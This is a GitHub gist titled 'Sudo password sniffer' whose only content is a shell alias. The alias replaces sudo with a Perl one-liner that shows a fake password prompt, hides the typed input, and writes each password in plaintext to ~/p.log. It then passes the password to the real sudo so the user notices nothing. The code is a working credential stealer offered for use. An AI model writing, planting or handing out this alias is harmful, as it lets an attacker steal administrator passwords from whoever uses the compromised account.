Created
October 2, 2020 08:40
-
-
Save nikolay-n/379a55b2b25020c6d9ddb02ea6bb6240 to your computer and use it in GitHub Desktop.
Sudo password sniffer
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
alias sudo=$'perl -e \'while(1){$e="echo";print"Password: ";`stty -$e`;$p=<STDIN>;`stty $e;$e "$p">>~/p.log;`;print"\n";*E=*STDERR;open(STDERR,">/dev/null");open(S,"|-","sudo","-S",@ARGV)and do{print S $p;close(S); last unless $?};}\'' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment